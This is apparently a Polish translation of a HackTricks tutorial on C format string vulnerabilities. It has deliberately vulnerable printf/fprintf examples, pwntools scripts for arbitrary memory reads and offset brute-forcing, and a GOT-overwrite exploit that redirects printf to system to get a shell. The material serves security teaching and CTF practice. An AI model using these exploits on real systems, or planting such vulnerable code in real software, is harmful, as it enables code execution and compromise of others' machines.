Format Strings
Reading time: 8 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
W C printf
to funkcja, która może być używana do drukowania pewnego ciągu znaków. Pierwszym parametrem, którego oczekuje ta funkcja, jest surowy tekst z formatami. Następne parametry to wartości, które mają zastąpić formaty w surowym tekście.
Inne podatne funkcje to sprintf()
i fprintf()
.
Vulnerabilność pojawia się, gdy tekst atakującego jest używany jako pierwszy argument tej funkcji. Atakujący będzie w stanie stworzyć specjalne dane wejściowe, które wykorzystują możliwości formatu printf do odczytu i zapisu dowolnych danych w dowolnym adresie (czytliwym/zapisywalnym). Dzięki temu będzie mógł wykonać dowolny kod.
Formatery:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Przykłady:
- Przykład z luką:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalne użycie:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Z brakującymi argumentami:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf podatny:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Dostęp do wskaźników
Format %<n>$x
, gdzie n
to liczba, pozwala wskazać printf, aby wybrał n parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu używając printf, możesz to zrobić:
printf("%x %x %x %x")
i czytałbyś od pierwszego do czwartego parametru.
Lub mógłbyś zrobić:
printf("%4$x")
i przeczytaj bezpośrednio czwarty.
Zauważ, że atakujący kontroluje parametr printf
, co zasadniczo oznacza, że jego dane wejściowe będą znajdować się na stosie, gdy printf
zostanie wywołane, co oznacza, że mógłby zapisać konkretne adresy pamięci na stosie.
caution
Atakujący kontrolujący te dane wejściowe będzie w stanie dodać dowolny adres na stosie i sprawić, że printf
uzyska do nich dostęp. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
Dowolne Odczytywanie
Możliwe jest użycie formatera %n$s
, aby sprawić, że printf
uzyska adres znajdujący się na n pozycji, a następnie wydrukuje go tak, jakby był ciągiem (drukuj, aż znajdziesz 0x00). Więc jeśli adres bazowy binarnego pliku to 0x8048000
, a wiemy, że dane wejściowe użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego pliku za pomocą:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Zauważ, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie obcięty na 0x00 na końcu tego adresu.
Znajdź offset
Aby znaleźć offset do swojego wejścia, możesz wysłać 4 lub 8 bajtów (0x41414141
) następnie %1$x
i zwiększać wartość, aż uzyskasz A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Jak przydatne
Arbitralne odczyty mogą być przydatne do:
- Zrzutu binarnego z pamięci
- Dostępu do konkretnych części pamięci, gdzie przechowywane są wrażliwe informacje (jak kanarki, klucze szyfrowania lub niestandardowe hasła, jak w tym wyzwaniu CTF)
Arbitralne Zapis
Formatka %<num>$n
zapisuje liczbę zapisanych bajtów w wskazanym adresie w parametrze <num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce, za pomocą printf, będzie w stanie sprawić, że %<num>$n
zapisze arbitralną liczbę w arbitralnym adresie.
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatki %.<num-write>%<num>$n
, aby zapisać liczbę <num-write>
w adresie wskazywanym przez pozycję num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak 0x08049724
(co jest OGROMNĄ liczbą do zapisania na raz), używa się $hn
zamiast $n
. Pozwala to na zapisanie tylko 2 bajtów. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
Dlatego ta luka pozwala na zapisanie czegokolwiek w dowolnym adresie (arbitralny zapis).
W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która będzie wywoływana później. Chociaż można to wykorzystać w innych technikach arbitralnego zapisu do exec:
{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}
Zamierzamy nadpisać funkcję, która otrzymuje swoje argumenty od użytkownika i wskazać ją na funkcję system
.
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: najpierw zapisujesz 2 bajty adresu, a następnie kolejne 2. W tym celu używa się $hn
.
- HOB jest wywoływane dla 2 wyższych bajtów adresu
- LOB jest wywoływane dla 2 niższych bajtów adresu
Następnie, z powodu działania formatu ciągu, musisz najpierw zapisać najmniejszy z [HOB, LOB], a potem drugi.
Jeśli HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Jeśli HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Szablon Pwntools
Możesz znaleźć szablon do przygotowania exploita dla tego rodzaju podatności w:
{{#ref}} format-strings-template.md {{#endref}}
Lub ten podstawowy przykład z tutaj:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings do BOF
Możliwe jest nadużycie działań zapisu w podatności na format string, aby zapisać w adresach stosu i wykorzystać podatność typu buffer overflow.
Inne Przykłady i Odniesienia
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie format strings do wycieku flagi ze stosu (nie ma potrzeby zmieniać przepływu wykonania)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bity, relro, brak canary, nx, brak pie, format string do nadpisania adresu
fflush
funkcją win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bity, relro, brak canary, nx, brak pie, format string do zapisania adresu wewnątrz main w
.fini_array
(aby przepływ wrócił jeszcze raz) i zapisania adresu dosystem
w tabeli GOT wskazującego nastrlen
. Gdy przepływ wraca do main,strlen
jest wykonywane z danymi wejściowymi użytkownika i wskazując nasystem
, wykona przekazane polecenia.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.